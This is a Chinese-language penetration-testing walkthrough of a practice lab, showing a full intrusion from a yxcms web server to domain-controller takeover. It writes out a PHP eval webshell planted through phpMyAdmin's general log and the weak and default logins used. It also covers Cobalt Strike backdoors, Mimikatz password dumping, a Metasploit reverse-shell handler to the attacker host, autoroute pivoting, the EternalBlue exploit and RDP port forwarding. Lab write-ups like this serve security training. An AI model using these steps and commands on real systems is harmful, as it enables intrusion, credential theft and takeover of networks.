0x01 靶場環境
攻擊機:KALI(192.168.122.130)
靶機:win7(外網IP:192.168.122.144或者192.168.122.142;內網IP:192.168.52.143)
win2008(內網IP:192.168.52.138)
win08(內網IP:192.168.52.141)
0x02 外網拿權限
訪問目標站點,http://192.168.122.142/yxcms/

方法一:弱口令登錄phpmyadmin拿權限
進入phpmyadmin
對目標站點IP進行端口掃描,發現80和3306端口開放

使用dirsearch進行目錄掃描


嘗試對phpmyadmin進行爆破

phpmyadmin存在弱口令,用戶名:root,密碼:root

phpMyAdmin 利用日志文件 getshell
在變量中搜索general,查看日志狀態,返回結果如下

當開啟general log為on時,所執行的sql語句都會出現在stu1.log文件中。那么,如果修改generallogfile的值,那么所執行的sql語句就會對應生成對應的文件中,進而getshell。所以為了get shell,我們將general log設為on,將general log file設為C:/phpStudy/WWW/test.php

通過執行查詢語句將一句話木馬插入到重新定義的日志文件test.php中
SELECT '<?php eval($_POST["cmd"]);?>'

看一下靶機上的test.php,一句話木馬是否插入成功

插入成功后我們用蟻劍連接test.php

成功獲取目標服務器權限...
方法二:利用已知cms漏洞getshell
進入管理后台
顯而易見,目標靶機使用了yxcms,通過百度可以查詢到yxcms的目錄結構,得到yxcms的后台路徑:/index.php?r=admin/index/login訪問http://192.168.122.142/yxcms//index.php?r=admin/index/login

使用yxcms默認用戶名密碼,admin/123456登錄后台,直接登錄成功,接入管理后台頁面

寫入webshell
在前台模板功能中我們可以直接寫入一句話木馬

Burpsuite抓包后,並沒有發現寫入文件后返回具體文件路徑

不過yxcms泄露了robots.txt

通過泄露的文件路徑,一步一步推測找出我們上傳的shell_test.php一句話木馬

蟻劍連接shell_test.php

成功拿下靶機權限...
0x03 靶機后門上線
拿下服務器權限后就要植入后門,植入后門的方法大致有兩種——MSF和Cobalts Strike。這里演示Cobalts Strike的方式。關於MSF生成后門,詳見:https://www.cnblogs.com/C0ldCash/p/13733067.html
生成exe可執行后門


執行exe后門
利用蟻劍將exe后門上傳到靶機

在蟻劍中使用終端命令行執行exe后門

Cobalts Strike中靶機上線

探測本機信息
1.執行系統命令

2.探測域信息

3.Mimikatz抓取本機密碼


成功抓取本機Administrator用戶開機密碼
利用cablots strike提權


提權到SYSTEM系統權限賬戶
0x04 內網信息收集
內網信息收集的主要目的就是查找域控以及域內的其他主機
判斷是否存在域
使用 ipconfig /all 查看 DNS 服務器:

發現 DNS 服務器名為 god.org,查看域信息:net view

Cablot Strike自帶的net view更好用,可以直接識別IP地址


查看主域信息:net view /domain

查看時間服務器:net time /domain(一般情況下,時間服務器就是域控)

發現能夠執行,說明此台機器在域中 (若是此命令在顯示域處顯示 WORKGROUP,則不存在域;若是報錯:發生系統錯誤 5,則存在域,但該用戶不是域用戶,可以進行提權到SYSTEM后執行),所以基本可以確定owa.god.org就是域GOD的域控
確認域控
利用 net group "domain controllers" /domain 命令直接找出域控制器:

域控制器為owa.god.org
對應IP為192.168.52.138
0x05 內網橫向移動
SMB Beacon
因為內網的目標機器192.168.52.138和192.168.52.141無法直接連接到KALI(192.168.122.130),所以需要CS派生smb beacon,讓內網的主機連接到win7上。
SMB Beacon使用命名管道通過父級Beacon進行通訊,當兩個Beacons鏈接后,子Beacon從父Beacon獲取到任務並發送。因為鏈接的Beacons使用Windows命名管道進行通信,此流量封裝在SMB協議中,所以SMB Beacon相對隱蔽,繞防火牆時可能發揮奇效。
新建一個listener

在已有的 Beacon上右鍵 Spawn(生成會話 / 派生),選擇創建的 smb beacon 的 listerner:


cobalt strike反彈shell給msf
反彈shell
配置msf進行監聽
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.122.130
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit

在cobalt strike中新建listeners(注意:cobalt strike中生成的payload要和msf中監聽使用的payload一致)



成功反彈shell

配置靜態路由
meterpreter > run get_local_subnets #查看網段/子網
meterpreter > run autoroute -s 192.168.52.0/24 #添加路由
meterpreter > run autoroute -p #查看路由
meterpreter > background #轉入后台運行

msf進行內網掃描
1.使用msf自帶netbios掃描內存活機器,發現存活機器兩台,地址分別為192.168.52.141和192.168.52.138

2.對存活主機進行端口掃描
msf5 > use auxiliary/scanner/portscan/tcp
msf5 > set rhosts xxx.xxx.xxx
msf5 > set ports 80,135-139,3306,3389
msf5 > run
對192.168.52.138進行端口掃描,發現445端口開啟

對192.168.52.141進行端口掃描,同樣發現445端口開啟

利用ms17-010進行攻擊
使用msf自帶的ms17-010掃描模塊對兩個內網IP進行漏洞掃描
msf5 > search ms17-010
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.52.138
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

192.168.52.138和192.168.52.141都存在ms17-010漏洞,下面對漏洞進行利用
msf5 auxiliary(admin/smb/ms17_010_command) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.52.138
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

通過msf中的mimikatz抓取用戶名密碼
1、確認shell權限

確認shell為system權限,可以使用mimikatz抓取明文密碼
2、加載mimikatz
load mimikatz

3、使用mimikatz抓取密碼
meterpreter > msv 獲取的是hash值
meterpreter > ssp 獲取的是明文信息
meterpreter > wdigest 讀取內存中存放的賬號密碼明文信息
meterpreter > kerberos 讀取內存中存放的賬號密碼明文信息

截取當前桌面(截圖)
screenshot


拿下域控權限
0x06 端口轉發連接3389
msf提供端口轉發模塊,具體命令如下
portfwd
-l:本地監聽端口
-r:內網目標的ip
-p:內網目標的端口
執行命令:portfwd add -l 9999 -r 192.168.52.138 -p 3389;將內網192.168.52.138的3389端口代理到9999端口

連接192.168.52.130:9999

成功控制域控
